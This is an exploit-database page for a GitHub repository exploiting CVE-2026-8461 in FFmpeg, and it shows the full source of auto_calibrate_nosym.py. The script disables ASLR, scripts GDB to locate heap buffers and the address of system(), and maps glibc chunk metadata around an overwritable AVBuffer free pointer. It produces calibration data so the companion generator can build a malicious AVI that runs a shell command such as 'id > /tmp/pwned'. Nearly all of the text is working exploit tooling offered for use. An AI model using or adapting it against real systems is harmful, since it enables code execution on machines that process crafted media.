Exploit databaseDownload repository ZIP
GH-d1684c7a5e3c9758f16febfb92f1eaee
y5neko/cve-2026-8461-exp
Sources for CVE-2026-8461
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files7
y5neko/cve-2026-8461-expRevision 1b6ab77f6fd0
- images/
- CVE-2026-8461_Analysis.md
- CVE-2026-8461_Analysis_EN.md
- README.md
- auto_calibrate.py
- auto_calibrate_nosym.py
- exploit_cve_2026_8461.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
auto_calibrate_nosym.py
Python · 16,860 bytes#!/usr/bin/env python3
"""
auto_calibrate_nosym.py -- CVE-2026-8461 calibration generator (production builds)
For stripped, dynamically linked FFmpeg where debug symbols are unavailable.
Requires libavutil.so to be present (--enable-shared build); av_buffer_create
is always exported in .dynsym regardless of stripping.
Requirements:
- ASLR disabled: sudo sysctl -w kernel.randomize_va_space=0
- GDB installed
- FFmpeg built as shared library (--enable-shared)
- exploit_cve_2026_8461.py present in the same directory
The --avi path must be identical between calibration and exploit delivery.
"""
import argparse
import json
import os
import re
import shutil
import struct
import subprocess
import sys
import tempfile
WIDTH = 1280
SLICE_HEIGHT = 31
V_SHIFT = 1
CB_STRIDE = WIDTH // 2
CB_SHEIGHT = (SLICE_HEIGHT + (1 << V_SHIFT) - 1) >> V_SHIFT # 16
OOB_OFFSET = CB_STRIDE * CB_SHEIGHT # 10240
OOB_DUMP_BYTES = 640
CB_SIZE_MIN = 8192
CB_SIZE_MAX = 20480
DEFAULT_FFMPEG = shutil.which('ffmpeg') or ''
DEFAULT_LIBPATH = ''
DEFAULT_OUTPUT = "calibration.json"
DEFAULT_AVI = "/tmp/exploit.avi"
# ELF e_machine values
EM_X86_64 = 62
EM_AARCH64 = 183
EM_ARM = 40
def detect_arch(binary: str) -> int:
"""Return ELF e_machine of the target binary."""
try:
with open(binary, 'rb') as f:
f.seek(18)
return struct.unpack('<H', f.read(2))[0]
except Exception:
return EM_X86_64
def abi_regs(e_machine: int) -> tuple:
"""Return (arg0_reg, arg1_reg) for the first two integer arguments."""
if e_machine == EM_AARCH64:
return '$x0', '$x1'
if e_machine == EM_ARM:
return '$r0', '$r1'
return '$rdi', '$rsi' # x86_64
# Phase 1: break av_buffer_create(data, size, ...) at entry.
# {arg0}=data, {arg1}=size — no finish needed; data pointer is in the entry register.
# Size filter [CB_SIZE_MIN, CB_SIZE_MAX] captures both Cb and Cr allocations.
GDB_PHASE1_TMPL = r"""
set pagination off
set confirm off
set disable-randomization on
set solib-search-path {libpath}
break av_buffer_create
commands 1
if {arg1} >= {cb_min} && {arg1} <= {cb_max}
printf "CB_DATA=0x%lx SIZE=%lu\n", {arg0}, {arg1}
end
continue
end
run -i {avi} -f null - 2>/dev/null
quit
"""
# Phase 2: hardware write watchpoint on OOB_START.
# Fires after the first byte is written past the Cb buffer end.
# Dump starts at OOB+8 (first byte already written, not a chunk header boundary).
GDB_PHASE2_TMPL = r"""
set pagination off
set confirm off
set disable-randomization on
set solib-search-path {libpath}
watch *(char*)({oob_start_hex})
commands 1
printf "==DUMP==\n"
printf "OOB_START=0x%lx\n", (unsigned long){oob_start_hex}
x/79gx ({oob_start_hex} + 8)
printf "SYSTEM=0x%lx\n", (unsigned long)&system
printf "==END==\n"
continue
end
run -i {avi} -f null - 2>/dev/null
quit
"""
def to_le_hex(val: int) -> str:
return struct.pack('<Q', val & 0xFFFFFFFFFFFFFFFF).hex()
def is_valid_ptr(val: int) -> bool:
"""Non-null canonical userspace pointer (architecture-agnostic)."""
return 0x10000 <= val <= 0x0000_ffff_ffff_ffff
def parse_hex_dump(lines: list, base_addr: int) -> dict:
dump = {}
for line in lines:
m = re.match(
r'\s*(0x[0-9a-fA-F]+)\s*:\s*(0x[0-9a-fA-F]+)\s+(0x[0-9a-fA-F]+)',
line)
if m:
addr = int(m.group(1), 16)
off = addr - base_addr
if 0 <= off < OOB_DUMP_BYTES:
dump[off] = int(m.group(2), 16)
dump[off + 8] = int(m.group(3), 16)
else:
m2 = re.match(r'\s*(0x[0-9a-fA-F]+)\s*:\s*(0x[0-9a-fA-F]+)\s*$', line)
if m2:
addr = int(m2.group(1), 16)
off = addr - base_addr
if 0 <= off < OOB_DUMP_BYTES:
dump[off] = int(m2.group(2), 16)
return dump
def walk_chunks(dump: dict, dump_size: int = OOB_DUMP_BYTES) -> list:
chunks = []
seen = set()
off = 0
while off < dump_size - 16:
if off in seen:
off += 8
continue
size_field = dump.get(off + 8, 0)
chunk_size = size_field & ~0x7
if not (0x20 <= chunk_size <= 0x10000 and chunk_size % 16 == 0
and not (size_field >> 1) & 1 and not (size_field >> 2) & 1):
off += 8
continue
next_off = off + chunk_size
if next_off >= dump_size - 8:
off += 8
continue
next_sf = dump.get(next_off + 8, 0)
next_sz = next_sf & ~0x7
if not (0x10 <= next_sz <= 0x100000 and next_sz % 16 == 0
and not (next_sf >> 1) & 1 and not (next_sf >> 2) & 1):
off += 8
continue
chunks.append({
'off': off, 'size': chunk_size,
'size_field': size_field, 'is_free': (next_sf & 1) == 0,
})
seen.add(off)
off = next_off
return chunks
def find_avbuffer(dump: dict, chunks: list,
known_data_addrs: set = None) -> tuple:
for c in chunks:
if c['is_free']:
continue
uo = c['off'] + 16
data = dump.get(uo, 0)
size = dump.get(uo + 8, 0)
rc_q = dump.get(uo + 16, 0)
free_fn = dump.get(uo + 24, 0)
data_ok = (known_data_addrs and data in known_data_addrs) or \
is_valid_ptr(data)
if (data_ok and 0 < size < 0x1000000
and (rc_q & 0xFFFFFFFF) == 1 and is_valid_ptr(free_fn)):
return uo, {'data': data, 'size': size,
'refcount': 1, 'free': free_fn,
'opaque': dump.get(uo + 32, 0)}
return -1, {}
def find_avbufferref(dump: dict, avbuf_heap_addr: int,
avbuf_data: int, chunks: list) -> tuple:
for off in range(0, OOB_DUMP_BYTES - 16, 8):
if dump.get(off, 0) == avbuf_heap_addr and dump.get(off + 8, 0) == avbuf_data:
for c in chunks:
if c['off'] + 16 <= off < c['off'] + c['size']:
return off, c
return off, None
return -1, None
def build_cb_calibration(oob_start: int, dump: dict,
known_data_addrs: set = None) -> dict:
chunks = walk_chunks(dump)
if not chunks:
raise RuntimeError("no valid glibc chunks found in OOB region")
print(" chunks:")
for c in chunks:
print(f" OOB+{hex(c['off'])}: size={hex(c['size'])} "
f"{'FREE' if c['is_free'] else 'ALLOC'}")
avbuf_off, avbuf = find_avbuffer(dump, chunks, known_data_addrs)
if avbuf_off < 0:
raise RuntimeError("AVBuffer struct not identified in OOB region")
print(f" AVBuffer @ OOB+{hex(avbuf_off)}: "
f"data={hex(avbuf['data'])}, free={hex(avbuf['free'])}")
avbuf_chunk = next((c for c in chunks
if c['off'] + 16 <= avbuf_off < c['off'] + c['size']), None)
avbuf_heap_addr = oob_start + avbuf_off
avbufref_off, avbufref_chunk = find_avbufferref(
dump, avbuf_heap_addr, avbuf['data'], chunks)
if avbufref_off >= 0:
print(f" AVBufferRef @ OOB+{hex(avbufref_off)}")
glibc_metadata = {}
for c in chunks:
glibc_metadata[hex(c['off'] + 8)] = to_le_hex(c['size_field'])
if avbuf_chunk:
pv = dump.get(avbuf_chunk['off'], 0)
if pv:
glibc_metadata[hex(avbuf_chunk['off'])] = to_le_hex(pv)
glibc_metadata[hex(avbuf_off + 16)] = to_le_hex(1) # AVBuffer.refcount must be 1
preserve = {}
for c in chunks:
if c['is_free']:
fd = dump.get(c['off'] + 16, 0)
bk = dump.get(c['off'] + 24, 0)
if fd:
preserve[hex(c['off'] + 16)] = to_le_hex(fd)
if bk:
preserve[hex(c['off'] + 24)] = to_le_hex(bk)
preserve[hex(avbuf_off)] = to_le_hex(avbuf['data'])
preserve[hex(avbuf_off + 8)] = to_le_hex(avbuf['size'])
if avbufref_off >= 0:
if avbufref_chunk:
pv = dump.get(avbufref_chunk['off'], 0)
if pv:
preserve[hex(avbufref_chunk['off'])] = to_le_hex(pv)
preserve[hex(avbufref_chunk['off'] + 8)] = to_le_hex(
avbufref_chunk['size_field'])
preserve[hex(avbufref_off)] = to_le_hex(avbuf_heap_addr)
preserve[hex(avbufref_off + 8)] = to_le_hex(avbuf['data'])
for k in list(glibc_metadata.keys()):
if k in preserve:
del glibc_metadata[k]
return {
'avbuffer_at': avbuf_off, 'avb_refcount_off': 16,
'avb_free_off': 24, 'avb_opaque_off': 32,
'glibc_metadata': glibc_metadata, 'preserve': preserve,
}
def build_cr_calibration(dump: dict) -> dict:
chunks = walk_chunks(dump)
cr_meta = {hex(c['off'] + 8): to_le_hex(c['size_field']) for c in chunks}
print(f" Cr: {len(chunks)} chunk(s) preserved")
return cr_meta
def run_gdb(ffmpeg: str, script_content: str, lib_path: str = '') -> str:
env = dict(os.environ)
if lib_path:
old = env.get('LD_LIBRARY_PATH', '')
env['LD_LIBRARY_PATH'] = f"{lib_path}:{old}" if old else lib_path
env['TERM'] = 'dumb'
fd, script_path = tempfile.mkstemp(suffix='.gdb')
try:
with os.fdopen(fd, 'w') as f:
f.write(script_content)
result = subprocess.run(
['gdb', '-batch', '-q', '-x', script_path, ffmpeg],
capture_output=True, text=True, timeout=90, env=env,
)
return result.stdout + result.stderr
finally:
os.unlink(script_path)
def main():
ap = argparse.ArgumentParser(
description='CVE-2026-8461 calibration generator (production/stripped shared-library builds)',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Unlike auto_calibrate.py this script does not require debug symbols.
It uses av_buffer_create (always present in libavutil.so .dynsym) and a
GDB hardware write watchpoint instead of source-level breakpoints.
examples:
python3 auto_calibrate_nosym.py \\
--ffmpeg /usr/bin/ffmpeg --libpath /usr/lib/x86_64-linux-gnu \\
--avi /tmp/exploit.avi -o calibration.json
""")
ap.add_argument('--ffmpeg', default=DEFAULT_FFMPEG,
help='FFmpeg binary path (default: ffmpeg from PATH)')
ap.add_argument('--libpath', default=DEFAULT_LIBPATH,
help='FFmpeg shared library directory, appended to LD_LIBRARY_PATH '
'(only needed for non-system installs)')
ap.add_argument('--exploit-gen', default=None,
help='path to exploit_cve_2026_8461.py (default: same directory)')
ap.add_argument('--avi', default=DEFAULT_AVI,
help=f'absolute path for probe/exploit AVI (default: {DEFAULT_AVI}); '
'must be the same path used when delivering the exploit')
ap.add_argument('-o', '--output', default=DEFAULT_OUTPUT)
args = ap.parse_args()
if not args.ffmpeg:
sys.exit("[!] FFmpeg not found in PATH — specify with --ffmpeg /path/to/ffmpeg")
if not os.path.exists(args.ffmpeg):
sys.exit(f"[!] FFmpeg not found: {args.ffmpeg}")
exploit_gen = args.exploit_gen or os.path.join(
os.path.dirname(os.path.abspath(__file__)), 'exploit_cve_2026_8461.py')
if not os.path.exists(exploit_gen):
sys.exit(f"[!] exploit_cve_2026_8461.py not found: {exploit_gen}")
try:
aslr = open('/proc/sys/kernel/randomize_va_space').read().strip()
if aslr != '0':
sys.exit(f"[!] ASLR is enabled (value={aslr})\n"
f" run: sudo sysctl -w kernel.randomize_va_space=0")
except FileNotFoundError:
pass
avi_path = os.path.abspath(args.avi)
e_machine = detect_arch(args.ffmpeg)
arg0, arg1 = abi_regs(e_machine)
print(f"[*] Generating probe AVI -> {avi_path}")
subprocess.run(
[sys.executable, exploit_gen, '--baseline', '--frames', '1', '-o', avi_path],
check=True, capture_output=True)
print("[*] Phase 1: locating Cb/Cr buffer addresses...")
p1_script = GDB_PHASE1_TMPL.format(
avi=avi_path, libpath=args.libpath,
cb_min=CB_SIZE_MIN, cb_max=CB_SIZE_MAX,
arg0=arg0, arg1=arg1)
p1_out = run_gdb(args.ffmpeg, p1_script, args.libpath)
hits = re.findall(r'CB_DATA=0x([0-9a-fA-F]+) SIZE=(\d+)', p1_out)
if not hits:
print("[!] GDB output:")
print(p1_out[:3000])
sys.exit("[!] No candidates captured. Possible causes:\n"
" 1. av_buffer_create breakpoint missed (wrong --libpath?)\n"
" 2. ASLR not disabled")
seen_data = {}
for addr_hex, size_str in hits:
addr = int(addr_hex, 16)
seen_data[addr] = int(size_str)
candidates = sorted(seen_data.items())
print(f" {len(candidates)} candidate(s):")
for addr, sz in candidates:
print(f" {hex(addr)} size={sz} -> OOB {hex(addr + OOB_OFFSET)}")
print("[*] Phase 2: verifying OOB start via hardware watchpoint...")
oob_start = None
dump = {}
system_addr = 0
cr_candidate_oob = None
for idx, (cb_data, _) in enumerate(candidates):
cand_oob = cb_data + OOB_OFFSET
print(f" [{idx+1}/{len(candidates)}] testing {hex(cand_oob)} ...")
p2_script = GDB_PHASE2_TMPL.format(
oob_start_hex=hex(cand_oob), avi=avi_path, libpath=args.libpath)
p2_out = run_gdb(args.ffmpeg, p2_script, args.libpath)
if '==DUMP==' in p2_out:
dump_m = re.search(r'==DUMP==\n(.*?)==END==', p2_out, re.DOTALL)
if dump_m:
dump_block = dump_m.group(1)
d = parse_hex_dump(dump_block.split('\n'), cand_oob)
d.setdefault(0, 0)
if walk_chunks(d):
oob_start = cand_oob
dump = d
sys_m = re.search(r'SYSTEM=0x([0-9a-fA-F]+)', dump_block)
system_addr = int(sys_m.group(1), 16) if sys_m else 0
print(f" valid — {len(walk_chunks(d))} chunk(s), "
f"system={hex(system_addr)}")
if idx == 0 and len(candidates) > 1:
cr_candidate_oob = candidates[1][0] + OOB_OFFSET
elif idx > 0:
cr_candidate_oob = candidates[0][0] + OOB_OFFSET
break
else:
print(f" watchpoint fired but no valid chunks, skipping")
else:
print(f" watchpoint did not fire, skipping")
if oob_start is None:
sys.exit("[!] All OOB candidates invalid — check frame geometry or ASLR state")
cr_meta = {}
if cr_candidate_oob:
print(f"[*] Phase 2b: probing Cr region {hex(cr_candidate_oob)} ...")
p2cr_script = GDB_PHASE2_TMPL.format(
oob_start_hex=hex(cr_candidate_oob), avi=avi_path, libpath=args.libpath)
p2cr_out = run_gdb(args.ffmpeg, p2cr_script, args.libpath)
cr_dump_m = re.search(r'==DUMP==\n(.*?)==END==', p2cr_out, re.DOTALL)
if cr_dump_m:
cr_dump = parse_hex_dump(cr_dump_m.group(1).split('\n'), cr_candidate_oob)
cr_meta = build_cr_calibration(cr_dump)
known_data = {addr for addr, _ in candidates}
print("[*] Building calibration...")
cb_cal = build_cb_calibration(oob_start, dump, known_data)
calibration = {
'system_addr': hex(system_addr),
'cmd_at': 0,
'cmd_maxlen': 88,
'avbuffer_at': cb_cal['avbuffer_at'],
'avb_refcount_off': cb_cal['avb_refcount_off'],
'avb_free_off': cb_cal['avb_free_off'],
'avb_opaque_off': cb_cal['avb_opaque_off'],
'cmd_heap_addr': hex(oob_start),
'glibc_metadata': cb_cal['glibc_metadata'],
'cr_metadata': cr_meta,
'preserve': cb_cal['preserve'],
}
with open(args.output, 'w') as f:
json.dump(calibration, f, indent=2)
lib_env = f"LD_LIBRARY_PATH={args.libpath} " if args.libpath else ""
print(f"\n[+] {args.output}")
print(f" system() = {hex(system_addr)}")
print(f" avbuf_at = {cb_cal['avbuffer_at']}")
print(f" entries = {len(cb_cal['glibc_metadata'])} metadata, "
f"{len(cb_cal['preserve'])} preserve")
print(f"\n Next (use the same AVI path):")
print(f" python3 exploit_cve_2026_8461.py --calibration {args.output} "
f'--cmd "id > /tmp/pwned" -o {avi_path}')
print(f" {lib_env}{args.ffmpeg} -i {avi_path} -f null -")
if __name__ == '__main__':
main()